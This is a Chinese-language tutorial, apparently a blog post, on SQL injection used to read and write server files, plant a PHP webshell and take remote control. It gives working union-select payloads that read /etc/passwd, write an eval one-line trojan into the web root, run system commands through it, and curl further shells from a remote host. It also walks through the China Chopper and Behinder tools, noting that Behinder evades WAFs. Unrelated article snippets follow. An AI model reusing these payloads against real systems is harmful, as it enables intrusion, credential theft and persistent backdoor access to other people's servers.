sql 注入(2), 文件读写 木马植入 远程控制
sql 注入 文件读写 木马植入 远程控制
一, 检测读写权限
查看mysql全局变量
   SHOW GLOBAL VARIABLES LIKE '%secure%'secure_file_priv = 空, 则任意读写secure_file_priv = 路径, 则只能读写该路径下的文件secure_file_priv = NULL, 则禁止读写
二, 读取文件, 使用 load_file() 函数
先尝试读取系统常见的固定目录, 或者异常报出来目录
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
( select load_file( "/etc/passwd" )  ), 5, 6http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
( select load_file( "/opt/lampp/etc/httpd.conf" )  ), 5, 6其他的不确定的目录与文件名可以通过 burpsuit 用字典爆破.
三, 写入一句话木马, 使用sql “into outfile” 语句
1. 先尝试写入某个目录
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
"hello world", 5, 6 into outfile "/opt/lampp/htdocs/security/mm.php" 
2. 写入后尝试用url访问这个文件, 如果404找不到对象,
可能当前目录没有写权限:
"Can't create/write to file '/opt/lampp/htdocs/security/mm.php' (Errcode: 13 "Permission denied")"
3. 继续找下一级目录继续写入测试
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
"hello world", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php" 
4. 测试成功, 写入一句话木马
使用eval()函数, 通过url中传入的参数字符串交给eval执行.
4.1 使用 GET 请求: “<?php @eval($_GET['cmd']);?>”
    写入木马文件到服务器http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, "<?php @eval($_GET['cmd']);?>", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php"     使用url访问木马文件, 传入需要执行的代码http://192.168.112.200/security/test/mm.php?cmd=phpinfo();.../mm.php?cmd=echo date('Y-m-d');.../mm.php?cmd=system('ifconfig');.../mm.php?cmd=system('cat /etc/passwd');# 远程下载其他木马文件.../mm.php?cmd=system('curl http:/xxx/xxx/xxx.php')
4.2 使用POST 请求: “<?php @eval($_POST['cmd']);?>”
    写入木马文件到服务器http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, "<?php @eval($_POST['cmd']);?>", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php" 使用url访问木马, 使用 POST 请求提交参数.URL:  http://192.168.112.200/security/test/mm.phpDATA: cmd=system('cat /etc/passwd');
四, 远程工具: 中国菜刀
说明: 这是一个远程控制工具, 依赖于已经植入的木马. 使用中国菜刀可以方便的利用木马文件, 代替手工反复post命令来查看服务器的数据, 例如浏览文件目录, 数据库等等(具体能执行的命令依赖于权限, 与进一步提权有关).准备工作:已经向服务器写入了post类型的一句话木马.例如:http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, "<?php @eval($_POST['cmd']);?>", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php" 工具操作:1. 在中国菜刀的窗口空白处 [右键], [添加], 写入木马[地址], [参数名], [编码格式]等. 例如:地址: http://192.168.112.200/security/test/mm.php参数名: cmd2. 在添加的地址列表处 [右键], 即可选择 [文件管理], [数据库], [虚拟终端] 等功能.缺点:菜刀是采用base64编码传输, 等于是明文传输, 容易被WAF进行防护.
五, 远程工具: Behinder 冰蝎
说明:这是一个远程控制工具, 参数采用加密传输, 不容易被WAF防护.服务器需要对传输的数据进行解密, 因此需要先将包含加密通信key的shell代码写入或上传到目标服务器.各种语言的 shell 代码在 server 文件夹中, shell 文件中记录了连接用的密钥key.密钥也可以自己定义, 定义规则在注释中.建议使用一句话木马通过curl将shell代码从自己的地址把文件下载到服务器上, 例如:.../mm.php?cmd=system('curl http:/xxx/shell.php > /opt/lampp/htdocs/security/test/shell.php')    准备:1. 将shell代码传入目标服务器, 比如将 shell.php 中的代码通过一句话木马写入到服务器.或者有条件将shell.php 直接上传到服务器. 2. 打开behinder界面, [右键], [添加], 输入木马[URL], [连接密码](在shell.php文件中查看), 保存.3. 双击或者右键打开连接, 连接后默认会显示phpinfo()的信息.
相关文章:
sql 注入(2), 文件读写 木马植入 远程控制
sql 注入 文件读写 木马植入 远程控制 一, 检测读写权限 查看mysql全局变量 SHOW GLOBAL VARIABLES LIKE %secure%secure_file_priv 空, 则任意读写secure_file_priv 路径, 则只能读写该路径下的文件secure_file_priv NULL, 则禁止读写二, 读取文件, 使用 load_file() 函数…...
 
求直角三角形第三点的坐标
文章目录 求直角三角形第三点的坐标1. 原理2. 数学公式3. 推导过程 求直角三角形第三点的坐标 1. 原理 已知内容有: P1、P2 两点的坐标; dis1 为 P1与P2两点之间的距离; dis2 为 P2与P3两点之间的距离; 求解: …...
 
【Kotlin精简】第3章 类与接口
1 简介 Kotlin类的声明和Java没有什么区别,Kotlin中,类的声明也使用class关键字,如果只是声明一个空类,Kotlin和Java没有任何区别,不过定义类的其他成员会有一些区别。实例化类不用写new,类被继承或者重写…...
 
关于面试以及小白入职后的一些建议
面试的本质 面试的过程是一个互相选择的过程;面试官的诉求是,了解应聘者的个人基本信息、工作态度、专业能力及其他综合能力是否与公司招聘岗位匹配;面试者的诉求是,拿下招聘岗位offer,获得工作报酬; 面试…...
 
Excel 从网站获取表格
文章目录 导入网站数据导入股票实时行情 用 Excel 获取网站数据的缺点:只能获取表格类的数据,不能获取非结构化的数据。 导入网站数据 转到地址之后: 实测该功能经常导致 Excel 卡死。 导入股票实时行情...
 
rsync 备份工具(附rsync+inotify 实时同步部署实例)
rsync 备份工具(附rsyncinotify 实时同步部署实例) 1、rsync概述1.1关于rsync1.2rsync 的特点1.3工作原理 2、rsync相关命令2.1基本格式和常用选项2.2启动和关闭rsync服务2.3下行同步基本格式2.4上行同步基本格式2.5免交互2.5.1指定密码文件2.5.2rsync-daemon方式2.…...
 
Java架构师缓存性能优化
目录 1 缓存的负载策略2 缓存的序列化问题3 缓存命中率低4 缓存对数据库高并发访问5 缓存数据刷新的策略5.1. 实时策略5.2. 异步策略5.3. 定时策略6 何时写缓存7 批量数据来更新缓存8 缓存数据过期的策略9 缓存数据如何恢复10 缓存数据如何迁移11 缓存冷启动和缓存预热想学习架…...
探索服务器潜能:创意项目、在线社区与其他应用
目录 一、部署自己的创意项目 优势: 劣势: 结论: 二、打造一款全新的在线社区 优势: 劣势: 结论: 三、其他用途 总结: 随着互联网的发展,越来越多的人开始拥有自己的服务器…...
 
「网络编程」网络层协议_ IP协议学习_及深入理解
「前言」文章内容是网络层的IP协议讲解。 「归属专栏」网络编程 「主页链接」个人主页 「笔者」枫叶先生(fy) 目录 一、IP协议简介二、IP协议报头三、IP网段划分(子网划分)四、特殊的IP地址五、IP地址的数量限制六、私有IP地址和公网IP地址七、路由八、分…...
Go 1.21 新内置函数:min、max 和 clear
max 函数 func max[T cmp.Ordered](x T, y …T) T 这是一个泛型函数,用于从一组值中寻找并返回 最大值,该函数至少要传递一个参数。在上述函数签名中,T 表示类型参数,它必须满足 cmp.Ordered 接口中定义的数据类型要求࿰…...
 
家居行业如何打破获客困局?2023重庆建博会现场,智哪儿AI营销第一课给出了答案
10月12日-14日,2023中国(重庆)建筑及装饰材料博览会(简称:2023中国重庆建博会)正在重庆国际博览中心如火如荼地进行。「智哪儿」携手2023中国重庆建博会主办方共同主办的《2023家居行业AI营销第一课&#x…...
 
Spring framework Day11:策略模式中注入所有实现类
前言 什么是策略模式? 策略模式(Strategy Pattern)是一种面向对象设计模式,它定义了算法族(一组相似的算法),并且将每个算法都封装起来,使得它们可以互相替换。策略模式让算法的变…...
 
MBBF展示的奇迹绿洲:5G的过去、此刻与未来
如果你来迪拜,一定不会错过全世界面积最大的人工岛项目,这是被称为世界第八大奇迹的棕榈岛。多年以来,这座岛从一片砂石、一棵棕榈树开始,逐步建成了整个波斯湾地区的地标,吸引着全世界游人的脚步。 纵观整个移动通信发…...
 
加持智慧医疗,美格智能5G数传+智能模组让就医触手可及
智慧医疗将云计算、物联网、大数据、AI等新兴技术融合赋能医疗健康领域,是提高医疗健康服务的资源利用效率,创造高质量健康医疗的新途径。《健康中国2030规划纲要》把医疗健康提升到了国家战略层面,之后《“十四五”全面医疗保障规划》等一系…...
Stm32_标准库_14_串口蓝牙模块_手机与蓝牙模块通信_实现模块读取并修改信息
由手机向蓝牙模块传输时间信息,Stm32获取信息并将已存在信息修改为传入信息 测试代码: #include "stm32f10x.h" // Device header #include "Delay.h" #include "OLED.h" #include "Serial.h"uint16_t num…...
 
UDP 的报文结构
UDP的报文结构: 其中前面的源端口号和目的端口号,UDP长度和UDP检验和,它们都是2个字节。 那么什么是UDP长度呢,它指的是后面的数据的长度,换算单位也就是64kb,因此一个数据报(数据)最…...
torch.hub.load报错urllib.error.HTTPError: HTTP Error 403: rate limit exceeded
在运行DINOv2的示例代码时,需要载入预训练的模型,比如: backbone_model torch.hub.load(repo_or_dir"facebookresearch/dinov2", modelbackbone_name) torch.hub.load报错“urllib.error.HTTPError: HTTP Error 403: rate limit…...
 
测试左移右移-理论篇
目录 前言一、浅解左移1.什么是测试左移?1.1对产品1.2对开发1.3对测试1.4对运维 二、浅解右移1.1对产品1.2对开发1.3对测试1.4对运维 三、总结 前言 测试左移右移,很多人说能让测试更拥有主动权,展示出测试岗位也是有很大的价值,…...
 
【TensorFlow2 之015】 在 TF 2.0 中实现 AlexNet
一、说明 在这篇文章中,我们将展示如何在 TensorFlow 2.0 中实现基本的卷积神经网络 \(AlexNet\)。AlexNet 架构由 Alex Krizhevsky 设计,并与 Ilya Sutskever 和 Geoffrey Hinton 一起发布。并获得Image Net2012竞赛中冠军。 教程概述: 理论…...
 
Python进阶之迭代器
文章目录 前言一、迭代器介绍及作用1.可迭代对象2. 迭代器 二、常用函数和迭代器1.常用函数2.迭代器 三、总结结束语 💂 个人主页:风间琉璃🤟 版权: 本文由【风间琉璃】原创、在CSDN首发、需要转载请联系博主💬 如果文章对你有帮助、欢迎关注…...
Cesium1.95中高性能加载1500个点
一、基本方式: 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...
 
Opencv中的addweighted函数
一.addweighted函数作用 addweighted()是OpenCV库中用于图像处理的函数,主要功能是将两个输入图像(尺寸和类型相同)按照指定的权重进行加权叠加(图像融合),并添加一个标量值&#x…...
浅谈不同二分算法的查找情况
二分算法原理比较简单,但是实际的算法模板却有很多,这一切都源于二分查找问题中的复杂情况和二分算法的边界处理,以下是博主对一些二分算法查找的情况分析。 需要说明的是,以下二分算法都是基于有序序列为升序有序的情况…...
 
佰力博科技与您探讨热释电测量的几种方法
热释电的测量主要涉及热释电系数的测定,这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中,积分电荷法最为常用,其原理是通过测量在电容器上积累的热释电电荷,从而确定热释电系数…...
代码随想录刷题day30
1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币,另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额,返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...
站群服务器的应用场景都有哪些?
站群服务器主要是为了多个网站的托管和管理所设计的,可以通过集中管理和高效资源的分配,来支持多个独立的网站同时运行,让每一个网站都可以分配到独立的IP地址,避免出现IP关联的风险,用户还可以通过控制面板进行管理功…...
MFE(微前端) Module Federation:Webpack.config.js文件中每个属性的含义解释
以Module Federation 插件详为例,Webpack.config.js它可能的配置和含义如下: 前言 Module Federation 的Webpack.config.js核心配置包括: name filename(定义应用标识) remotes(引用远程模块࿰…...
 
JDK 17 序列化是怎么回事
如何序列化?其实很简单,就是根据每个类型,用工厂类调用。逐个完成。 没什么漂亮的代码,只有有效、稳定的代码。 代码中调用toJson toJson 代码 mapper.writeValueAsString ObjectMapper DefaultSerializerProvider 一堆实…...
 
Linux基础开发工具——vim工具
文章目录 vim工具什么是vimvim的多模式和使用vim的基础模式vim的三种基础模式三种模式的初步了解 常用模式的详细讲解插入模式命令模式模式转化光标的移动文本的编辑 底行模式替换模式视图模式总结 使用vim的小技巧vim的配置(了解) vim工具 本文章仍然是继续讲解Linux系统下的…...
 
作为点的对象CenterNet论文阅读
摘要 检测器将图像中的物体表示为轴对齐的边界框。大多数成功的目标检测方法都会枚举几乎完整的潜在目标位置列表,并对每一个位置进行分类。这种做法既浪费又低效,并且需要额外的后处理。在本文中,我们采取了不同的方法。我们将物体建模为单…...
